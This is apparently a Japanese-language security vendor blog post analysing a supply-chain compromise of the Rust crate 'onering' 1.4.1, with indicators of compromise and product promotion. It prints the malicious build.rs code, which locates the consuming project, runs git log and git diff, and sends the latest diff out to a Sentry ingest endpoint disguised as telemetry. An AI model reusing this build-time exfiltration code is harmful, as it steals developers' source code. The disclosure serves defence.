2026年6月10日、Rustのcrate「onering」の最新バージョンである1.4.1において、悪意のある動作が検出されました。OneringはRust向けの高速同期キューおよびチャネルライブラリであり、crates.ioでのダウンロード数は18,000回を超えています。 ここ数週間、npm、PyPI、GitHubではサプライチェーン侵害の波が相次ぎ、大きな注目を集めていました。今週は、Rustの番となりました。
最新バージョンでは、crateをビルドしているプロジェクトからGitデータを密かに収集し、最新のコミットの実際のソースコードを含めてリモートサーバーに送信する「build.rs」ファイルが追加されました。これまでにも、npmやPyPIにおいてビルド時にペイロードを実行するという巧妙な手口が確認されてきましたが、現在ではRustでも同様の試みが行われています。最近のサプライチェーン攻撃の多くは認証情報の窃取を目的としていましたが、今回の攻撃は純粋にソースコードの取得に焦点を当てているようです。
この問題は、crates.io に公開されているパッケージだけに限ったことではありません。メンテナンス担当者の GitHub リポジトリも侵害されている模様であるため、レジストリではなく Git からこのクレートを取得しても安全とは言えません。私たちは直ちにメンテナンス担当者に連絡しました:https://github.com/cenotelie/onering/issues/1
悪意のある build.rs の動作
A build.rs これはビルドスクリプトです。Cargoはビルド中に開発者のマシン上でこれをコンパイルして実行します。そのため、ペイロードを隠すには絶好の場所となります。なぜなら、単にそのcrateを依存関係に追加してビルドするだけで、ペイロードがトリガーされるからです。ライブラリ内の関数を1つたりとも呼び出す必要はありません。
注入された build.rs 3つのことを行います。
まず、この関数は、自身のディレクトリではなく、そのクレートを参照しているプロジェクトのルートディレクトリを特定します。そして、 OUT_DIR それが見つかるまで ターゲット ディレクトリを選択し、その親ディレクトリを選択します。その結果がリポジトリになります。
fn get_project_path() -> Result<PathBuf, Box<dyn std::error::Error>> {
let dir = PathBuf::from(std::env::var("OUT_DIR")?);
let mut project_dir = &*dir;
while let Some(parent) = project_dir.parent() {
if let Some(last) = parent.iter().last()
&& last == "target"
&& let Some(parent) = parent.parent()
{
project_dir = parent;
break;
}
project_dir = parent;
}
Ok(project_dir.to_path_buf())
}次に、リポジトリに対して2つのGitコマンドを実行します。1つはコミットのメタデータを収集し、もう1つは最新のコミットのテキスト形式の差分全体を取得します。
let Ok(commit) = git(
&project_path,
&[
"log",
"-n",
"1",
r#"--pretty=format:{"commit":"%H","author":"%an","email":"%ae","date":"%aI","subject":"%s"}"#,
],
) else {
return;
};
let Ok(patch) = git(&project_path, &["diff", "HEAD^", "HEAD"]) else {
return;
};会社情報 git diff HEAD^ HEAD call コマンドは最新のコミットの差分全体を取得し、ビルドのたびにその情報が外部に流出するため、コミットが積み重なるにつれて、単一のスナップショットではなく、実際のソースコードの変更内容が継続的に漏洩することになります。
第三に、盗んだデータをSentryのテレメトリイベントに見せかけ、POSTリクエストで送信します。 curl Sentryのインジェストエンドポイントへ送信されます。コミットのメタデータはイベントタグとなり、コードの差分データは extra.patch フィールド。
let payload = format!(
r#"{{"event_id":"{}","dsn":"https://8197ee42c4f59c83f4cc6d48f5bae821@o4511539639222272.ingest.de.sentry.io/4511539669368912"}}
{{"type":"event"}}
{{"message":"on build","level":"info","platform":"rust","tags": {commit},"extra": {{"patch":"{}"}}}}"#,
Uuid::new_v4().as_simple(),
patch.replace('"', "\\\"").replace('\n', "\\n"),
);
let Ok(_output) = request(
"POST",
"https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/",
&["Accept: application/json", "Content-Type: application/x-sentry-envelope"],
&payload,
) else {
return;
};この偽装は意図的なものです。ビルド中に外部への通信に気づいた人にとって、SentryのインジェストURLへのリクエストは、ごく普通のクラッシュレポートのように見えます。また、コメントアウトされた行が残っています。 // std::fs::write("data.txt", payload)これは、ネットワーク通信が設定される前に、ペイロードがディスクに書き込まれる形でローカルでテストされていたことを強く示唆している。
方法 Aikido これを検知する
もしあなたが Aikido ユーザーの方は、中央フィードを確認し、マルウェア関連の問題でフィルタリングしてください。これにより、100/100の重大な問題として表示されます。 Aikido は毎晩自動的に再スキャンを行いますが、今すぐ手動で再スキャンを実行することをお勧めします。
まだ会員でない場合は Aikido をご利用でない場合は、アカウントを作成してリポジトリを連携できます。マルウェア対策機能は無料プランに含まれており、クレジットカードは不要です。
チーム全体をより広くカバーするには、 Aikidoの「デバイス保護」機能は、チームメンバーのデバイスにインストールされたソフトウェアパッケージを可視化し、管理することを可能にします。ブラウザ拡張機能、コードライブラリ、IDEプラグイン、依存関係まで、すべてを一元管理できます。マルウェアがインストールされる前に阻止しましょう。
将来的なセキュリティ対策として、オープンソースの「Aikido Chain」の導入をご検討ください。Safe Chainは既存のワークフローに組み込まれ、npm、npx、yarn、pnpm、pnpxの各コマンドをインターセプトし、インストール前にAikido データベースと照合してパッケージを検証します。
侵害の痕跡
- 依存関係
オネリングcrates.io からのバージョン 1.4.1。 - Sentryのインジェストエンドポイント
https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/. - Sentry DSNの公開鍵
8197ee42c4f59c83f4cc6d48f5bae821, 組織IDo4511539639222272、およびプロジェクトID4511539669368912.

